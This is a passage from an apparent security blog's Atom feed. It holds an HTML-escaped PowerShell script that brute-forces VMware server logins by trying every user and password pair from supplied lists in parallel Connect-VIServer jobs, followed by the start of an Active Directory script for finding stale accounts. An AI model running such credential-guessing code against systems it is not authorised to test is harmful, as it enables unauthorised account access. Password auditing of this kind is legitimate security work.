New"&gt;$User&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;-and&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;!&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$UsersFile&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;) {&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;throw&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;"User or UserFile required."&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;}&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;if&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; (&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;!&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$Password&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;-and&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;!&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$PasswordsFile&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;) {&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;throw&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;"Password or PasswordFile required."&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;}&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;BR&gt;# If the UsersFile and a Username are provided then use the UsersFile&lt;BR&gt;# Convert UsersFile or single User into an array so we can use a loop&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;if&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; (&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$UsersFile&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;)&lt;BR&gt;{&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $Users&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; Get-Content &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$UsersFile&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;}&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;else&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;{&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $Users&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; @(&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$User&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;)&lt;BR&gt;}&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;BR&gt;# If the PasswordsFile and aPassword is provided then use the PasswordsFile&lt;BR&gt;# Convert PasswordsFile or single Password into an array so we can use a loop&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;if&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; (&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$PasswordsFile&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;)&lt;BR&gt;{&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $Passwords&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; Get-Content &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$PasswordsFile&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;}&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;else&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;{&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $Passwords&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; @(&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$Password&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;)&lt;BR&gt;}&lt;BR&gt;&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$Passwords&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; | ForEach-Object {&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $pass&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$_&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; $Users&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; | ForEach-Object {&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; $usr&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;=&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$_&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&amp;nbsp;&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;# If too many jobs running then wait for some to complete&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;while&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; ((Get-Job).Count &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;&lt;FONT color=#ff0000 size=2 face="Courier New"&gt;-ge&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$MaxJobs&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;) {&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;Handle-Jobs&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;Start-Sleep -Seconds 5&lt;BR&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;}&lt;BR&gt;&amp;nbsp;&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;# Start the job to attempt the connection&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;Start-Job -InitializationScript {Add-PSSnapin VMware.VimAutomation.Core} -ScriptBlock { &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;param&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;(&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$Server&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;, &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$usr&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;, &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$pass&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;) Connect-VIServer -Server &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$Server&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; -Protocol https -User &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$usr&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; -Password &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$pass&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; } -Name &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;"User:$usr Pass:$pass"&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; -ArgumentList &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$Server&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;,&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$usr&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;,&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;&lt;FONT color=#800080 size=2 face="Courier New"&gt;$pass&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;}&lt;BR&gt;}&lt;BR&gt;&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;&lt;FONT color=#800000 size=2 face="Courier New"&gt;"Everything has been queued, waiting for jobs to complete"&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;FONT color=#008000 size=2 face="Courier New"&gt;&lt;BR&gt;# Wait for the jobs to complete&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;Do&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; {&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#5f9ea0 size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;Handle-Jobs&lt;BR&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT color=#800080&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/FONT&gt;Start-Sleep -Seconds 5&lt;BR&gt;} &lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;&lt;FONT color=#0000ff size=2 face="Courier New"&gt;while&lt;/FONT&gt;&lt;/FONT&gt;&lt;/FONT&gt;&lt;FONT size=2 face="Courier New"&gt;&lt;FONT size=2 face="Courier New"&gt; (Get-Job)&lt;/FONT&gt;&lt;/FONT&gt;</content></entry><entry><title>Finding Old or Unused Accounts with Powershell v2</title><link rel="alternate" href="http://blog.securitywhole.com/2009/08/12/finding-old-or-unused-accounts-with-powershell-v2.aspx?ref=rss" /><id>tag:blog.securitywhole.com,2009-08-12:bb99cb1f-707e-42a6-8504-454226698809</id><author><name>Tim Medin</name></author><updated>2009-08-12T13:49:00Z</updated><published>2009-08-12T13:49:00Z</published><content type="html">&lt;P&gt;Here is a version that was 200 times faster in my environment. Depending on the number of domain controllers it could be even faster for you. It does one big query for each domain controller and then compiles the results. The original script took 45 minutes, this version took 13 seconds.&lt;BR&gt;&lt;BR&gt;This script returns a list with all users and their last logon date/time. You can then filter by logon's older than a certain date/time, sort, or export it.&lt;BR&gt;&lt;BR&gt;&lt;SPAN style="COLOR: #55c548"&gt;&lt;/P&gt;&lt;SPAN style="COLOR: #1b5e14"&gt;
&lt;P&gt;&lt;FONT face="Courier New" size=2&gt;$dcs = [System.DirectoryServices.ActiveDirectory.Domain]::getcurrentdomain().DomainControllers | select name&lt;/FONT&gt;&lt;/P&gt;
&lt;P&gt;&lt;FONT face="Courier New" size=2&gt;$startdate = get-date('1/1/1601')&lt;/FONT&gt;&lt;/P&gt;
